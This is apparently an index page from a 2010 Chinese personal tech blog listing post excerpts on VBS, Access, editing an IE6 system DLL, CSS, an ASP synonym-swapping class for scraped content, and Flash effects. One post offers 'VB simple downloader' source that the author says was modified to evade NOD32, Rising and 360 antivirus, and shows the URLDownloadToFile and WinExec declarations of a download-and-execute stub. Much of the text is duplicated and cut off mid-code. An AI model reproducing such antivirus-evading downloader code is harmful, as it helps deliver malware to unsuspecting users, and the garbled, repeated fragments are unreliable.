VBS检查服务器ping值
作者:刚子 日期:2010-04-28
判断Access数据库是否连接成功
作者:刚子 日期:2010-04-27
IE6地址栏的默认搜索到底在哪里设置？
作者:刚子 日期:2010-04-07
IE6地址栏的默认搜索到底在哪里设置？这个问题我已经研究三次了，前两次都失败告终，因为网上几乎所有篇幅都在介绍在注册表某某位置修改，今天我再次来潮，终于搞明白了IE6的默认搜索在哪里设置。其实IE6的默认搜索根本不是在注册表中，而是在一个DLL文件中，具体位置是：C:\WINDOWS\system32\shdoclc.dll ，用ResHacker打开这个dll文件，然后搜索字符串auto.search即可找到原有搜索地址，那么我们只要把这里修改了然后保存即可。
可是问题是我修改完了之后打算去覆盖掉原来的shdoclc.dll文件，发现老是提示使用中，微软真狡猾。按照我的习惯，一般占用的东东找不到对应的进程都会去结束掉explorer.exe进程，结束时候果然替换成功，打开IE6搜索了一下，成功了。本来我惊喜万分，可是还是发现了一个很奇怪的问题。就是当你替换完你修改后的文件，那个文件马上又被替换成原来那个了，难道是微软对此文件做了保护？因为我是在服务器上测试的，上面网站还在运行，不敢做过多测试，所以我没在继续研究微软是怎么搞的鬼。
不过总之搞明白了IE6地址栏的默认搜索位置，下次有时间装个虚拟机装上IE6来继续研究。
可是问题是我修改完了之后打算去覆盖掉原来的shdoclc.dll文件，发现老是提示使用中，微软真狡猾。按照我的习惯，一般占用的东东找不到对应的进程都会去结束掉explorer.exe进程，结束时候果然替换成功，打开IE6搜索了一下，成功了。本来我惊喜万分，可是还是发现了一个很奇怪的问题。就是当你替换完你修改后的文件，那个文件马上又被替换成原来那个了，难道是微软对此文件做了保护？因为我是在服务器上测试的，上面网站还在运行，不敢做过多测试，所以我没在继续研究微软是怎么搞的鬼。
不过总之搞明白了IE6地址栏的默认搜索位置，下次有时间装个虚拟机装上IE6来继续研究。
CSS定位iframe
作者:刚子 日期:2010-03-28
HTML代码
推荐一个同义词库，1万5组数据（ACCESS版）
作者:刚子 日期:2010-03-27
最近在学习采集入库以及自动替换同义词，于是从网上收集了一个同义词库，是我从一个xls文件和一个web网页搞出来的，合并成了一个access数据库，共1.5万组词左右。
下面贴出来我自己写的asp替换类，配合我的数据库使用。我写的规则是相互替换，并非常用的A转B。也就是说如果A和B是同义词，发现字符串里有A，那就替换为B，如果字符串为B，那就替换为A。替换规则是先匹配qian字段，再匹配hou字段。
程序代码
下面贴出来我自己写的asp替换类，配合我的数据库使用。我写的规则是相互替换，并非常用的A转B。也就是说如果A和B是同义词，发现字符串里有A，那就替换为B，如果字符串为B，那就替换为A。替换规则是先匹配qian字段，再匹配hou字段。
程序代码<%
set conn=server.createobject("adodb.connection")
conn.open "driver={microsoft access driver (*.mdb)};dbq="&server.mappath("key.mdb")
set conn=server.createobject("adodb.connection")
conn.open "driver={microsoft access driver (*.mdb)};dbq="&server.mappath("key.mdb")
VB简单下载者源码
作者:刚子 日期:2010-03-26
网上有很多版本，但是都不免杀，我做了一下修改，一共修改了两个免杀版本，免杀了本机的NOD32，瑞星，360杀毒，其他的没测试。
第一个：（推荐）
程序代码
第一个：（推荐）
程序代码Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function WinExec Lib "kernel32" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long
Private Sub Form_Load()
Private Declare Function WinExec Lib "kernel32" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long
Private Sub Form_Load()
一个很棒的FLASH调用JS关键词游动效果
作者:刚子 日期:2010-03-25
不说了，直接看图。类似于谷歌泡泡挑歌的效果。昨天熬了一个通宵，早上打算睡觉的时候不注意在人民网发现的效果，没想到人民网居然有这等淫才，偷之。对了，flash大小和背景颜色都可以在index.html中定义的。
演示地址：http://www.gangzi.org/web/flash_key/
点击下载此文件
演示地址：http://www.gangzi.org/web/flash_key/
点击下载此文件
